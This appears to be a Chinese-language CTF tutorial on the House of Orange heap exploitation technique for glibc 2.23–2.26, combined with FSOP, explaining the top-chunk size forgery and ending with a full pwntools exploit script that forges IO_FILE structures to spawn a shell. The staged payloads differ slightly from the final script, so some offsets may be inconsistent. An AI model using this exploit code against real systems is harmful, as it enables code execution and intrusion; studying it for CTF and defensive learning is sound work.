house of orange & no free
字数 1408 2025-08-25 22:58:47
House of Orange & No Free 利用技术详解
1. 技术概述
House of Orange是一种在程序没有free函数的情况下,通过修改top_chunk的size字段,在下一次申请超过top_chunk大小的chunk时,触发将top chunk释放并送入unsorted bin中的技术。该技术通常与FSOP(File Stream Oriented Programming)攻击结合使用。
适用版本
- glibc 2.23 - 2.26
利用条件
- 可以进行unsortedbin attack
- 可以触发FSOP
2. 原理分析
基本机制
当程序调用malloc进行分配时,如果fastbin、smallbins、unsorted bin、largebins等均不满足分配要求,_int_malloc函数会尝试使用top chunk。当top chunk也不能满足分配要求时,会执行以下分支:
/* Otherwise, relay to handle system-dependent cases */
else {
void *p = sysmalloc(nb, av);
if (p != NULL && __builtin_expect(perturb_byte, 0))
alloc_perturb(p, bytes);
return p;
}
关键检查点
sysmalloc函数中对top chunk size的检查:
assert((old_top == initial_top(av) && old_size == 0) ||
((unsigned long)(old_size) >= MINSIZE &&
prev_inuse(old_top) &&
((unsigned long)old_end & pagemask) == 0));
top_chunk伪造要求
- 伪造的size必须对齐到内存页(通常4KB/0x1000)
- size要大于MINSIZE(0x10)
- size要小于之后申请的chunk size + MINSIZE(0x10)
- size的prev_inuse位必须为1
3. 利用步骤详解
第一阶段:修改top_chunk的size并送入unsorted bin
- 首先申请一个小堆块:
add(0x10, 'a')
- 通过堆溢出修改top_chunk的size:
pl = p64(0)*3 + p64(0x21) + p64(0)*3 + p64(0xfa1)
edit(0x40, pl)
- 申请大于修改后size的堆块,将top_chunk送入unsorted bin:
add(0x1000, 'b')
第二阶段:获取libc和heap地址
- 分割unsorted bin中的chunk获取libc地址:
add(0x400, 'c'*8)
show()
libc_base = l64() - 0x3c5188
- 通过编辑获取heap地址:
edit(0x20, 'd'*0x10)
show()
heap_base = u64(p.recvuntil("\x55")[-6:].ljust(8, b"\x00")) - 0xc0
第三阶段:FSOP攻击准备
- 修改new_top_chunk大小,送入smallbin的0x60部分:
pl = 'f'*0x400
pl += p64(0) + p64(0x21)
pl += p64(0)*2
pl += '/bin/sh\x00' + p64(0x61) # &heap_base+0x4F0
pl += p64(0) + p64(io_list_all - 0x10)
pl += p64(0) + p64(1)
pl += p64(0)*7
pl += p64(heap_base + 0x4F0) # _chain
pl += p64(0)*13
pl += p64(heap_base + 0x4F0 + 0xD8) # _IO_file_jumps
pl += p64(0)*2 + p64(sys)
edit(0x1000, pl)
第四阶段:触发攻击
通过申请新堆块触发攻击:
p.sendlineafter('Your choice : ', str(1))
4. 关键数据结构伪造
1. 伪造_IO_list_all
- 将main_arena+88/96地址写入_IO_list_all
- 利用smallbin的0x60段篡改_chain字段
2. 伪造IO_2_1_stderr
- 通过堆溢出在new_top_chunk地址伪造IO_2_1_stdout结构体
- 篡改vtable表指向
3. 伪造_IO_file_jumps
pl += p64(0)*2 + p64(sys)
5. 例题分析
houseoforange_hitcon_2016
- 保护全开
- edit功能存在堆溢出漏洞
- 利用流程:
- 修改top_chunk的size
- 分割top_chunk获取地址信息
- 伪造IO结构体
- 触发FSOP
nofree
- 与前题类似,存在堆溢出漏洞
- libc版本2.23
- 攻击思路相同
6. 完整EXP示例
from pwn import *
context(os='linux', arch='amd64', log_level="debug")
# 初始化
p = process('./pwn')
libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
# 功能函数
def add(size, content):
p.sendlineafter('Your choice : ', str(1))
p.sendlineafter('Length of name :', str(size))
p.sendafter('Name :', content)
p.sendlineafter('Price of Orange:', str(1))
p.sendlineafter('Color of Orange:', str(2))
def edit(size, content):
p.sendlineafter('Your choice : ', str(3))
p.sendlineafter('Length of name :', str(size))
p.sendafter('Name:', content)
p.sendlineafter('Price of Orange:', str(1))
p.sendlineafter('Color of Orange:', str(2))
def show():
p.sendlineafter('Your choice : ', str(2))
# 攻击开始
add(0x10, 'a')
pl = p64(0)*3 + p64(0x21) + p64(0)*3 + p64(0xfa1)
edit(0x40, pl)
add(0x1000, 'b')
add(0x400, 'c'*8)
show()
libc_base = u64(p.recvuntil("\x7f")[-6:].ljust(8, b"\x00")) - 0x3c5188
sys = libc_base + libc.sym['system']
io_list_all = libc_base + libc.sym['_IO_list_all']
edit(0x20, 'd'*0x10)
show()
heap_base = u64(p.recvuntil("\x55")[-6:].ljust(8, b"\x00")) - 0xc0
pl = 'f'*0x400
pl += p64(0) + p64(0x21)
pl += p64(sys) + p64(0)
pl += '/bin/sh\x00' + p64(0x61)
pl += p64(0) + p64(io_list_all - 0x10)
pl += p64(0) + p64(1)
pl += p64(0)*7
pl += p64(heap_base + 0x4F0)
pl += p64(0)*13
pl += p64(heap_base + 0x5c8)
pl += p64(0)*2 + p64(sys)
edit(0x1000, pl)
p.sendlineafter('Your choice : ', str(1))
p.interactive()
7. 总结
House of Orange技术的关键在于:
- 通过修改top_chunk的size触发其被释放到unsorted bin
- 利用unsorted bin attack获取必要的地址信息
- 结合FSOP技术实现最终的攻击
- 需要精心构造IO_FILE结构体和vtable
该技术在glibc 2.23-2.26版本中有效,是堆利用中一种经典的高级技巧。